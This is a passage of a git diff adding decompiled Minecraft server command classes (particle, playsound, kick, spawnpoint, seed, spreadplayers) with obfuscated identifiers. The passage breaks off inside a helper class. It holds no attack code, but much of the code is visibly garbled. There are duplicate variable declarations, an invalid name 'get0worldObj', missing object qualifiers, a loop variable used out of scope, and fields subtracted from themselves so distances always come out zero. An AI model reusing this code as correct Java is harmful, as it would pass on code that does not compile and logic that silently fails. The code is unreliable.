+package net.minecraft.command;
+
+public class CommandNotFoundException extends CommandException
+{
+  private static final String __OBFID = "CL_00001191";
+  
+  public CommandNotFoundException()
+  {
+    this("commands.generic.notFound", new Object[0]);
+  }
+  
+  public CommandNotFoundException(String p_i1363_1_, Object... p_i1363_2_)
+  {
+    super(p_i1363_1_, p_i1363_2_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/CommandParticle.java b/src/minecraft/net/minecraft/command/CommandParticle.java
new file mode 100644
index 0000000..49fad8d
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/CommandParticle.java
@@ -0,0 +1,130 @@
+package net.minecraft.command;
+
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.WorldServer;
+
+public class CommandParticle extends CommandBase
+{
+  private static final String __OBFID = "CL_00002341";
+  
+  public CommandParticle() {}
+  
+  public String getCommandName()
+  {
+    return "particle";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 2;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.particle.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if (args.length < 8)
+    {
+      throw new WrongUsageException("commands.particle.usage", new Object[0]);
+    }
+    
+
+    boolean var3 = false;
+    EnumParticleTypes var4 = null;
+    EnumParticleTypes[] var5 = EnumParticleTypes.values();
+    int var6 = var5.length;
+    
+    for (int var7 = 0; var7 < var6; var7++)
+    {
+      EnumParticleTypes var8 = var5[var7];
+      
+      if (var8.func_179343_f())
+      {
+        if (args[0].startsWith(var8.func_179346_b()))
+        {
+          var3 = true;
+          var4 = var8;
+          break;
+        }
+      }
+      else if (args[0].equals(var8.func_179346_b()))
+      {
+        var3 = true;
+        var4 = var8;
+        break;
+      }
+    }
+    
+    if (!var3)
+    {
+      throw new CommandException("commands.particle.notFound", new Object[] { args[0] });
+    }
+    
+
+    String var30 = args[0];
+    Vec3 var31 = sender.getPositionVector();
+    double var32 = (float)func_175761_b(xCoord, args[1], true);
+    double var9 = (float)func_175761_b(yCoord, args[2], true);
+    double var11 = (float)func_175761_b(zCoord, args[3], true);
+    double var13 = (float)parseDouble(args[4]);
+    double var15 = (float)parseDouble(args[5]);
+    double var17 = (float)parseDouble(args[6]);
+    double var19 = (float)parseDouble(args[7]);
+    int var21 = 0;
+    
+    if (args.length > 8)
+    {
+      var21 = parseInt(args[8], 0);
+    }
+    
+    boolean var22 = false;
+    
+    if ((args.length > 9) && ("force".equals(args[9])))
+    {
+      var22 = true;
+    }
+    
+    net.minecraft.world.World var23 = sender.getEntityWorld();
+    
+    if ((var23 instanceof WorldServer))
+    {
+      WorldServer var24 = (WorldServer)var23;
+      int[] var25 = new int[var4.func_179345_d()];
+      
+      if (var4.func_179343_f())
+      {
+        String[] var26 = args[0].split("_", 3);
+        
+        for (int var27 = 1; var27 < var26.length; var27++)
+        {
+          try
+          {
+            var25[(var27 - 1)] = Integer.parseInt(var26[var27]);
+          }
+          catch (NumberFormatException var29)
+          {
+            throw new CommandException("commands.particle.notFound", new Object[] { args[0] });
+          }
+        }
+      }
+      
+      var24.func_180505_a(var4, var22, var32, var9, var11, var21, var13, var15, var17, var19, var25);
+      notifyOperators(sender, this, "commands.particle.success", new Object[] { var30, Integer.valueOf(Math.max(var21, 1)) });
+    }
+  }
+  
+
+
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, BlockPos pos)
+  {
+    return args.length == 9 ? getListOfStringsMatchingLastWord(args, new String[] { "normal", "force" }) : (args.length > 1) && (args.length <= 4) ? func_175771_a(args, 1, pos) : args.length == 1 ? getListOfStringsMatchingLastWord(args, EnumParticleTypes.func_179349_a()) : null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/CommandPlaySound.java b/src/minecraft/net/minecraft/command/CommandPlaySound.java
new file mode 100644
index 0000000..20285d2
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/CommandPlaySound.java
@@ -0,0 +1,129 @@
+package net.minecraft.command;
+
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.Vec3;
+
+public class CommandPlaySound extends CommandBase
+{
+  private static final String __OBFID = "CL_00000774";
+  
+  public CommandPlaySound() {}
+  
+  public String getCommandName()
+  {
+    return "playsound";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 2;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.playsound.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if (args.length < 2)
+    {
+      throw new WrongUsageException(getCommandUsage(sender), new Object[0]);
+    }
+    
+
+    byte var3 = 0;
+    int var31 = var3 + 1;
+    String var4 = args[var3];
+    EntityPlayerMP var5 = getPlayer(sender, args[(var31++)]);
+    Vec3 var6 = sender.getPositionVector();
+    double var7 = xCoord;
+    
+    if (args.length > var31)
+    {
+      var7 = func_175761_b(var7, args[(var31++)], true);
+    }
+    
+    double var9 = yCoord;
+    
+    if (args.length > var31)
+    {
+      var9 = func_175769_b(var9, args[(var31++)], 0, 0, false);
+    }
+    
+    double var11 = zCoord;
+    
+    if (args.length > var31)
+    {
+      var11 = func_175761_b(var11, args[(var31++)], true);
+    }
+    
+    double var13 = 1.0D;
+    
+    if (args.length > var31)
+    {
+      var13 = parseDouble(args[(var31++)], 0.0D, 3.4028234663852886E38D);
+    }
+    
+    double var15 = 1.0D;
+    
+    if (args.length > var31)
+    {
+      var15 = parseDouble(args[(var31++)], 0.0D, 2.0D);
+    }
+    
+    double var17 = 0.0D;
+    
+    if (args.length > var31)
+    {
+      var17 = parseDouble(args[var31], 0.0D, 1.0D);
+    }
+    
+    double var19 = var13 > 1.0D ? var13 * 16.0D : 16.0D;
+    double var21 = var5.getDistance(var7, var9, var11);
+    
+    if (var21 > var19)
+    {
+      if (var17 <= 0.0D)
+      {
+        throw new CommandException("commands.playsound.playerTooFar", new Object[] { var5.getName() });
+      }
+      
+      double var23 = var7 - posX;
+      double var25 = var9 - posY;
+      double var27 = var11 - posZ;
+      double var29 = Math.sqrt(var23 * var23 + var25 * var25 + var27 * var27);
+      
+      if (var29 > 0.0D)
+      {
+        var7 = posX + var23 / var29 * 2.0D;
+        var9 = posY + var25 / var29 * 2.0D;
+        var11 = posZ + var27 / var29 * 2.0D;
+      }
+      
+      var13 = var17;
+    }
+    
+    playerNetServerHandler.sendPacket(new net.minecraft.network.play.server.S29PacketSoundEffect(var4, var7, var9, var11, (float)var13, (float)var15));
+    notifyOperators(sender, this, "commands.playsound.success", new Object[] { var4, var5.getName() });
+  }
+  
+
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, BlockPos pos)
+  {
+    return (args.length > 2) && (args.length <= 5) ? func_175771_a(args, 2, pos) : args.length == 2 ? getListOfStringsMatchingLastWord(args, MinecraftServer.getServer().getAllUsernames()) : null;
+  }
+  
+
+
+
+  public boolean isUsernameIndex(String[] args, int index)
+  {
+    return index == 1;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/CommandResultStats.java b/src/minecraft/net/minecraft/command/CommandResultStats.java
new file mode 100644
index 0000000..f5df4c2
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/CommandResultStats.java
@@ -0,0 +1,230 @@
+package net.minecraft.command;
+
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.scoreboard.Score;
+import net.minecraft.scoreboard.Scoreboard;
+import net.minecraft.world.World;
+
+public class CommandResultStats
+{
+  private static final int field_179676_a = Type.values().length;
+  private static final String[] field_179674_b = new String[field_179676_a];
+  private String[] field_179675_c;
+  private String[] field_179673_d;
+  private static final String __OBFID = "CL_00002364";
+  
+  public CommandResultStats()
+  {
+    field_179675_c = field_179674_b;
+    field_179673_d = field_179674_b;
+  }
+  
+  public void func_179672_a(ICommandSender p_179672_1_, Type p_179672_2_, int p_179672_3_)
+  {
+    String var4 = field_179675_c[p_179672_2_.func_179636_a()];
+    
+    if (var4 != null)
+    {
+
+      try
+      {
+
+        var5 = CommandBase.func_175758_e(p_179672_1_, var4);
+      }
+      catch (EntityNotFoundException var10) {
+        String var5;
+        return;
+      }
+      String var5;
+      String var6 = field_179673_d[p_179672_2_.func_179636_a()];
+      
+      if (var6 != null)
+      {
+        Scoreboard var7 = p_179672_1_.getEntityWorld().getScoreboard();
+        net.minecraft.scoreboard.ScoreObjective var8 = var7.getObjective(var6);
+        
+        if (var8 != null)
+        {
+          if (var7.func_178819_b(var5, var8))
+          {
+            Score var9 = var7.getValueFromObjective(var5, var8);
+            var9.setScorePoints(p_179672_3_);
+          }
+        }
+      }
+    }
+  }
+  
+  public void func_179668_a(NBTTagCompound p_179668_1_)
+  {
+    if (p_179668_1_.hasKey("CommandStats", 10))
+    {
+      NBTTagCompound var2 = p_179668_1_.getCompoundTag("CommandStats");
+      Type[] var3 = Type.values();
+      int var4 = var3.length;
+      
+      for (int var5 = 0; var5 < var4; var5++)
+      {
+        Type var6 = var3[var5];
+        String var7 = var6.func_179637_b() + "Name";
+        String var8 = var6.func_179637_b() + "Objective";
+        
+        if ((var2.hasKey(var7, 8)) && (var2.hasKey(var8, 8)))
+        {
+          String var9 = var2.getString(var7);
+          String var10 = var2.getString(var8);
+          func_179667_a(this, var6, var9, var10);
+        }
+      }
+    }
+  }
+  
+  public void func_179670_b(NBTTagCompound p_179670_1_)
+  {
+    NBTTagCompound var2 = new NBTTagCompound();
+    Type[] var3 = Type.values();
+    int var4 = var3.length;
+    
+    for (int var5 = 0; var5 < var4; var5++)
+    {
+      Type var6 = var3[var5];
+      String var7 = field_179675_c[var6.func_179636_a()];
+      String var8 = field_179673_d[var6.func_179636_a()];
+      
+      if ((var7 != null) && (var8 != null))
+      {
+        var2.setString(var6.func_179637_b() + "Name", var7);
+        var2.setString(var6.func_179637_b() + "Objective", var8);
+      }
+    }
+    
+    if (!var2.hasNoTags())
+    {
+      p_179670_1_.setTag("CommandStats", var2);
+    }
+  }
+  
+  public static void func_179667_a(CommandResultStats p_179667_0_, Type p_179667_1_, String p_179667_2_, String p_179667_3_)
+  {
+    if ((p_179667_2_ != null) && (p_179667_2_.length() != 0) && (p_179667_3_ != null) && (p_179667_3_.length() != 0))
+    {
+      if ((field_179675_c == field_179674_b) || (field_179673_d == field_179674_b))
+      {
+        field_179675_c = new String[field_179676_a];
+        field_179673_d = new String[field_179676_a];
+      }
+      
+      field_179675_c[p_179667_1_.func_179636_a()] = p_179667_2_;
+      field_179673_d[p_179667_1_.func_179636_a()] = p_179667_3_;
+    }
+    else
+    {
+      func_179669_a(p_179667_0_, p_179667_1_);
+    }
+  }
+  
+  private static void func_179669_a(CommandResultStats p_179669_0_, Type p_179669_1_)
+  {
+    if ((field_179675_c != field_179674_b) && (field_179673_d != field_179674_b))
+    {
+      field_179675_c[p_179669_1_.func_179636_a()] = null;
+      field_179673_d[p_179669_1_.func_179636_a()] = null;
+      boolean var2 = true;
+      Type[] var3 = Type.values();
+      int var4 = var3.length;
+      
+      for (int var5 = 0; var5 < var4; var5++)
+      {
+        Type var6 = var3[var5];
+        
+        if ((field_179675_c[var6.func_179636_a()] != null) && (field_179673_d[var6.func_179636_a()] != null))
+        {
+          var2 = false;
+          break;
+        }
+      }
+      
+      if (var2)
+      {
+        field_179675_c = field_179674_b;
+        field_179673_d = field_179674_b;
+      }
+    }
+  }
+  
+  public void func_179671_a(CommandResultStats p_179671_1_)
+  {
+    Type[] var2 = Type.values();
+    int var3 = var2.length;
+    
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      Type var5 = var2[var4];
+      func_179667_a(this, var5, field_179675_c[var5.func_179636_a()], field_179673_d[var5.func_179636_a()]);
+    }
+  }
+  
+  public static enum Type
+  {
+    SUCCESS_COUNT("SUCCESS_COUNT", 0, 0, "SuccessCount"), 
+    AFFECTED_BLOCKS("AFFECTED_BLOCKS", 1, 1, "AffectedBlocks"), 
+    AFFECTED_ENTITIES("AFFECTED_ENTITIES", 2, 2, "AffectedEntities"), 
+    AFFECTED_ITEMS("AFFECTED_ITEMS", 3, 3, "AffectedItems"), 
+    QUERY_RESULT("QUERY_RESULT", 4, 4, "QueryResult");
+    
+    final int field_179639_f;
+    final String field_179640_g;
+    private static final Type[] $VALUES = { SUCCESS_COUNT, AFFECTED_BLOCKS, AFFECTED_ENTITIES, AFFECTED_ITEMS, QUERY_RESULT };
+    private static final String __OBFID = "CL_00002363";
+    
+    private Type(String p_i46050_1_, int p_i46050_2_, int p_i46050_3_, String p_i46050_4_)
+    {
+      field_179639_f = p_i46050_3_;
+      field_179640_g = p_i46050_4_;
+    }
+    
+    public int func_179636_a()
+    {
+      return field_179639_f;
+    }
+    
+    public String func_179637_b()
+    {
+      return field_179640_g;
+    }
+    
+    public static String[] func_179634_c()
+    {
+      String[] var0 = new String[values().length];
+      int var1 = 0;
+      Type[] var2 = values();
+      int var3 = var2.length;
+      
+      for (int var4 = 0; var4 < var3; var4++)
+      {
+        Type var5 = var2[var4];
+        var0[(var1++)] = var5.func_179637_b();
+      }
+      
+      return var0;
+    }
+    
+    public static Type func_179635_a(String p_179635_0_)
+    {
+      Type[] var1 = values();
+      int var2 = var1.length;
+      
+      for (int var3 = 0; var3 < var2; var3++)
+      {
+        Type var4 = var1[var3];
+        
+        if (var4.func_179637_b().equals(p_179635_0_))
+        {
+          return var4;
+        }
+      }
+      
+      return null;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/CommandServerKick.java b/src/minecraft/net/minecraft/command/CommandServerKick.java
new file mode 100644
index 0000000..115054b
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/CommandServerKick.java
@@ -0,0 +1,72 @@
+package net.minecraft.command;
+
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.server.MinecraftServer;
+
+public class CommandServerKick extends CommandBase
+{
+  private static final String __OBFID = "CL_00000550";
+  
+  public CommandServerKick() {}
+  
+  public String getCommandName()
+  {
+    return "kick";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 3;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.kick.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if ((args.length > 0) && (args[0].length() > 1))
+    {
+      EntityPlayerMP var3 = MinecraftServer.getServer().getConfigurationManager().getPlayerByUsername(args[0]);
+      String var4 = "Kicked by an operator.";
+      boolean var5 = false;
+      
+      if (var3 == null)
+      {
+        throw new PlayerNotFoundException();
+      }
+      
+
+      if (args.length >= 2)
+      {
+        var4 = getChatComponentFromNthArg(sender, args, 1).getUnformattedText();
+        var5 = true;
+      }
+      
+      playerNetServerHandler.kickPlayerFromServer(var4);
+      
+      if (var5)
+      {
+        notifyOperators(sender, this, "commands.kick.success.reason", new Object[] { var3.getName(), var4 });
+      }
+      else
+      {
+        notifyOperators(sender, this, "commands.kick.success", new Object[] { var3.getName() });
+      }
+      
+    }
+    else
+    {
+      throw new WrongUsageException("commands.kick.usage", new Object[0]);
+    }
+  }
+  
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, net.minecraft.util.BlockPos pos)
+  {
+    return args.length >= 1 ? getListOfStringsMatchingLastWord(args, MinecraftServer.getServer().getAllUsernames()) : null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/CommandSetPlayerTimeout.java b/src/minecraft/net/minecraft/command/CommandSetPlayerTimeout.java
new file mode 100644
index 0000000..10a2d64
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/CommandSetPlayerTimeout.java
@@ -0,0 +1,39 @@
+package net.minecraft.command;
+
+import net.minecraft.server.MinecraftServer;
+
+public class CommandSetPlayerTimeout extends CommandBase {
+  private static final String __OBFID = "CL_00000999";
+  
+  public CommandSetPlayerTimeout() {}
+  
+  public String getCommandName() {
+    return "setidletimeout";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 3;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.setidletimeout.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if (args.length != 1)
+    {
+      throw new WrongUsageException("commands.setidletimeout.usage", new Object[0]);
+    }
+    
+
+    int var3 = parseInt(args[0], 0);
+    MinecraftServer.getServer().setPlayerIdleTimeout(var3);
+    notifyOperators(sender, this, "commands.setidletimeout.success", new Object[] { Integer.valueOf(var3) });
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/CommandSetSpawnpoint.java b/src/minecraft/net/minecraft/command/CommandSetSpawnpoint.java
new file mode 100644
index 0000000..2bc0174
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/CommandSetSpawnpoint.java
@@ -0,0 +1,61 @@
+package net.minecraft.command;
+
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.util.BlockPos;
+
+public class CommandSetSpawnpoint extends CommandBase
+{
+  private static final String __OBFID = "CL_00001026";
+  
+  public CommandSetSpawnpoint() {}
+  
+  public String getCommandName()
+  {
+    return "spawnpoint";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 2;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.spawnpoint.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if ((args.length > 0) && (args.length < 4))
+    {
+      throw new WrongUsageException("commands.spawnpoint.usage", new Object[0]);
+    }
+    
+
+    EntityPlayerMP var3 = args.length > 0 ? getPlayer(sender, args[0]) : getCommandSenderAsPlayer(sender);
+    BlockPos var4 = args.length > 3 ? func_175757_a(sender, args, 1, true) : var3.getPosition();
+    
+    if (worldObj != null)
+    {
+      var3.func_180473_a(var4, true);
+      notifyOperators(sender, this, "commands.spawnpoint.success", new Object[] { var3.getName(), Integer.valueOf(var4.getX()), Integer.valueOf(var4.getY()), Integer.valueOf(var4.getZ()) });
+    }
+  }
+  
+
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, BlockPos pos)
+  {
+    return (args.length > 1) && (args.length <= 4) ? func_175771_a(args, 1, pos) : args.length == 1 ? getListOfStringsMatchingLastWord(args, net.minecraft.server.MinecraftServer.getServer().getAllUsernames()) : null;
+  }
+  
+
+
+
+  public boolean isUsernameIndex(String[] args, int index)
+  {
+    return index == 0;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/CommandShowSeed.java b/src/minecraft/net/minecraft/command/CommandShowSeed.java
new file mode 100644
index 0000000..4b944e4
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/CommandShowSeed.java
@@ -0,0 +1,43 @@
+package net.minecraft.command;
+
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.world.World;
+
+public class CommandShowSeed
+  extends CommandBase
+{
+  private static final String __OBFID = "CL_00001053";
+  
+  public CommandShowSeed() {}
+  
+  public boolean canCommandSenderUseCommand(ICommandSender sender)
+  {
+    return (MinecraftServer.getServer().isSinglePlayer()) || (super.canCommandSenderUseCommand(sender));
+  }
+  
+  public String getCommandName()
+  {
+    return "seed";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 2;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.seed.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    Object var3 = (sender instanceof EntityPlayer) ? worldObj : MinecraftServer.getServer().worldServerForDimension(0);
+    sender.addChatMessage(new ChatComponentTranslation("commands.seed.success", new Object[] { Long.valueOf(((World)var3).getSeed()) }));
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/CommandSpreadPlayers.java b/src/minecraft/net/minecraft/command/CommandSpreadPlayers.java
new file mode 100644
index 0000000..7d723ba
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/CommandSpreadPlayers.java
@@ -0,0 +1,407 @@
+package net.minecraft.command;
+
+import com.google.common.collect.Maps;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+public class CommandSpreadPlayers extends CommandBase
+{
+  private static final String __OBFID = "CL_00001080";
+  
+  public CommandSpreadPlayers() {}
+  
+  public String getCommandName()
+  {
+    return "spreadplayers";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 2;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.spreadplayers.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if (args.length < 6)
+    {
+      throw new WrongUsageException("commands.spreadplayers.usage", new Object[0]);
+    }
+    
+
+    byte var3 = 0;
+    BlockPos var4 = sender.getPosition();
+    double var10000 = var4.getX();
+    int var17 = var3 + 1;
+    double var5 = func_175761_b(var10000, args[var3], true);
+    double var7 = func_175761_b(var4.getZ(), args[(var17++)], true);
+    double var9 = parseDouble(args[(var17++)], 0.0D);
+    double var11 = parseDouble(args[(var17++)], var9 + 1.0D);
+    boolean var13 = parseBoolean(args[(var17++)]);
+    ArrayList var14 = com.google.common.collect.Lists.newArrayList();
+    
+    while (var17 < args.length)
+    {
+      String var15 = args[(var17++)];
+      
+      if (PlayerSelector.hasArguments(var15))
+      {
+        List var16 = PlayerSelector.func_179656_b(sender, var15, Entity.class);
+        
+        if (var16.size() == 0)
+        {
+          throw new EntityNotFoundException();
+        }
+        
+        var14.addAll(var16);
+      }
+      else
+      {
+        net.minecraft.entity.player.EntityPlayerMP var18 = MinecraftServer.getServer().getConfigurationManager().getPlayerByUsername(var15);
+        
+        if (var18 == null)
+        {
+          throw new PlayerNotFoundException();
+        }
+        
+        var14.add(var18);
+      }
+    }
+    
+    sender.func_174794_a(CommandResultStats.Type.AFFECTED_ENTITIES, var14.size());
+    
+    if (var14.isEmpty())
+    {
+      throw new EntityNotFoundException();
+    }
+    
+
+    sender.addChatMessage(new ChatComponentTranslation("commands.spreadplayers.spreading." + (var13 ? "teams" : "players"), new Object[] { Integer.valueOf(var14.size()), Double.valueOf(var11), Double.valueOf(var5), Double.valueOf(var7), Double.valueOf(var9) }));
+    func_110669_a(sender, var14, new Position(var5, var7), var9, var11, get0worldObj, var13);
+  }
+  
+
+  private void func_110669_a(ICommandSender p_110669_1_, List p_110669_2_, Position p_110669_3_, double p_110669_4_, double p_110669_6_, World worldIn, boolean p_110669_9_)
+    throws CommandException
+  {
+    Random var10 = new Random();
+    double var11 = field_111101_a - p_110669_6_;
+    double var13 = field_111100_b - p_110669_6_;
+    double var15 = field_111101_a + p_110669_6_;
+    double var17 = field_111100_b + p_110669_6_;
+    Position[] var19 = func_110670_a(var10, p_110669_9_ ? func_110667_a(p_110669_2_) : p_110669_2_.size(), var11, var13, var15, var17);
+    int var20 = func_110668_a(p_110669_3_, p_110669_4_, worldIn, var10, var11, var13, var15, var17, var19, p_110669_9_);
+    double var21 = func_110671_a(p_110669_2_, worldIn, var19, p_110669_9_);
+    notifyOperators(p_110669_1_, this, "commands.spreadplayers.success." + (p_110669_9_ ? "teams" : "players"), new Object[] { Integer.valueOf(var19.length), Double.valueOf(field_111101_a), Double.valueOf(field_111100_b) });
+    
+    if (var19.length > 1)
+    {
+      p_110669_1_.addChatMessage(new ChatComponentTranslation("commands.spreadplayers.info." + (p_110669_9_ ? "teams" : "players"), new Object[] { String.format("%.2f", new Object[] { Double.valueOf(var21) }), Integer.valueOf(var20) }));
+    }
+  }
+  
+  private int func_110667_a(List p_110667_1_)
+  {
+    HashSet var2 = com.google.common.collect.Sets.newHashSet();
+    Iterator var3 = p_110667_1_.iterator();
+    
+    while (var3.hasNext())
+    {
+      Entity var4 = (Entity)var3.next();
+      
+      if ((var4 instanceof EntityPlayer))
+      {
+        var2.add(((EntityPlayer)var4).getTeam());
+      }
+      else
+      {
+        var2.add(null);
+      }
+    }
+    
+    return var2.size();
+  }
+  
+  private int func_110668_a(Position p_110668_1_, double p_110668_2_, World worldIn, Random p_110668_5_, double p_110668_6_, double p_110668_8_, double p_110668_10_, double p_110668_12_, Position[] p_110668_14_, boolean p_110668_15_) throws CommandException
+  {
+    boolean var16 = true;
+    double var18 = 3.4028234663852886E38D;
+    
+
+    for (int var17 = 0; (var17 < 10000) && (var16); var17++)
+    {
+      var16 = false;
+      var18 = 3.4028234663852886E38D;
+      
+
+
+      for (int var20 = 0; var20 < p_110668_14_.length; var20++)
+      {
+        Position var21 = p_110668_14_[var20];
+        int var22 = 0;
+        Position var23 = new Position();
+        
+        for (int var24 = 0; var24 < p_110668_14_.length; var24++)
+        {
+          if (var20 != var24)
+          {
+            Position var25 = p_110668_14_[var24];
+            double var26 = var21.func_111099_a(var25);
+            var18 = Math.min(var26, var18);
+            
+            if (var26 < p_110668_2_)
+            {
+              var22++;
+              field_111101_a += field_111101_a - field_111101_a;
+              field_111100_b += field_111100_b - field_111100_b;
+            }
+          }
+        }
+        
+        if (var22 > 0)
+        {
+          field_111101_a /= var22;
+          field_111100_b /= var22;
+          double var30 = var23.func_111096_b();
+          
+          if (var30 > 0.0D)
+          {
+            var23.func_111095_a();
+            var21.func_111094_b(var23);
+          }
+          else
+          {
+            var21.func_111097_a(p_110668_5_, p_110668_6_, p_110668_8_, p_110668_10_, p_110668_12_);
+          }
+          
+          var16 = true;
+        }
+        
+        if (var21.func_111093_a(p_110668_6_, p_110668_8_, p_110668_10_, p_110668_12_))
+        {
+          var16 = true;
+        }
+      }
+      
+      if (!var16)
+      {
+        Position[] var28 = p_110668_14_;
+        int var29 = p_110668_14_.length;
+        
+        for (int var22 = 0; var22 < var29; var22++)
+        {
+          Position var23 = var28[var22];
+          
+          if (!var23.func_111098_b(worldIn))
+          {
+            var23.func_111097_a(p_110668_5_, p_110668_6_, p_110668_8_, p_110668_10_, p_110668_12_);
+            var16 = true;
+          }
+        }
+      }
+    }
+    
+    if (var17 >= 10000)
+    {
+      throw new CommandException("commands.spreadplayers.failure." + (p_110668_15_ ? "teams" : "players"), new Object[] { Integer.valueOf(p_110668_14_.length), Double.valueOf(field_111101_a), Double.valueOf(field_111100_b), String.format("%.2f", new Object[] { Double.valueOf(var18) }) });
+    }
+    
+
+    return var17;
+  }
+  
+
+  private double func_110671_a(List p_110671_1_, World worldIn, Position[] p_110671_3_, boolean p_110671_4_)
+  {
+    double var5 = 0.0D;
+    int var7 = 0;
+    HashMap var8 = Maps.newHashMap();
+    
+    for (int var9 = 0; var9 < p_110671_1_.size(); var9++)
+    {
+      Entity var10 = (Entity)p_110671_1_.get(var9);
+      Position var11;
+      Position var11;
+      if (p_110671_4_)
+      {
+        net.minecraft.scoreboard.Team var12 = (var10 instanceof EntityPlayer) ? ((EntityPlayer)var10).getTeam() : null;
+        
+        if (!var8.containsKey(var12))
+        {
+          var8.put(var12, p_110671_3_[(var7++)]);
+        }
+        
+        var11 = (Position)var8.get(var12);
+      }
+      else
+      {
+        var11 = p_110671_3_[(var7++)];
+      }
+      
+      var10.setPositionAndUpdate(MathHelper.floor_double(field_111101_a) + 0.5F, var11.func_111092_a(worldIn), MathHelper.floor_double(field_111100_b) + 0.5D);
+      double var17 = Double.MAX_VALUE;
+      
+      for (int var14 = 0; var14 < p_110671_3_.length; var14++)
+      {
+        if (var11 != p_110671_3_[var14])
+        {
+          double var15 = var11.func_111099_a(p_110671_3_[var14]);
+          var17 = Math.min(var15, var17);
+        }
+      }
+      
+      var5 += var17;
+    }
+    
+    var5 /= p_110671_1_.size();
+    return var5;
+  }
+  
+  private Position[] func_110670_a(Random p_110670_1_, int p_110670_2_, double p_110670_3_, double p_110670_5_, double p_110670_7_, double p_110670_9_)
+  {
+    Position[] var11 = new Position[p_110670_2_];
+    
+    for (int var12 = 0; var12 < var11.length; var12++)
+    {
+      Position var13 = new Position();
+      var13.func_111097_a(p_110670_1_, p_110670_3_, p_110670_5_, p_110670_7_, p_110670_9_);
+      var11[var12] = var13;
+    }
+    
+    return var11;
+  }
+  
+  static class Position
+  {
+    double field_111101_a;
+    double field_111100_b;
+    private static final String __OBFID = "CL_00001105";
+    
+    Position() {}
+    
+    Position(double p_i1358_1_, double p_i1358_3_)
+    {
+      field_111101_a = p_i1358_1_;
+      field_111100_b = p_i1358_3_;
+    }
+    
+    double func_111099_a(Position p_111099_1_)
+    {
+      double var2 = field_111101_a - field_111101_a;
+      double var4 = field_111100_b - field_111100_b;
+      return Math.sqrt(var2 * var2 + var4 * var4);
+    }
+    
+    void func_111095_a()
+    {
+      double var1 = func_111096_b();
+      field_111101_a /= var1;
+      field_111100_b /= var1;
+    }
+    
+    float func_111096_b()
+    {
+      return MathHelper.sqrt_double(field_111101_a * field_111101_a + field_111100_b * field_111100_b);
+    }
+    
+    public void func_111094_b(Position p_111094_1_)
+    {
+      field_111101_a -= field_111101_a;
+      field_111100_b -= field_111100_b;
+    }
+    
+    public boolean func_111093_a(double p_111093_1_, double p_111093_3_, double p_111093_5_, double p_111093_7_)
+    {
+      boolean var9 = false;
+      
+      if (field_111101_a < p_111093_1_)
+      {
+        field_111101_a = p_111093_1_;
+        var9 = true;
+      }
+      else if (field_111101_a > p_111093_5_)
+      {
+        field_111101_a = p_111093_5_;
+        var9 = true;
+      }
+      
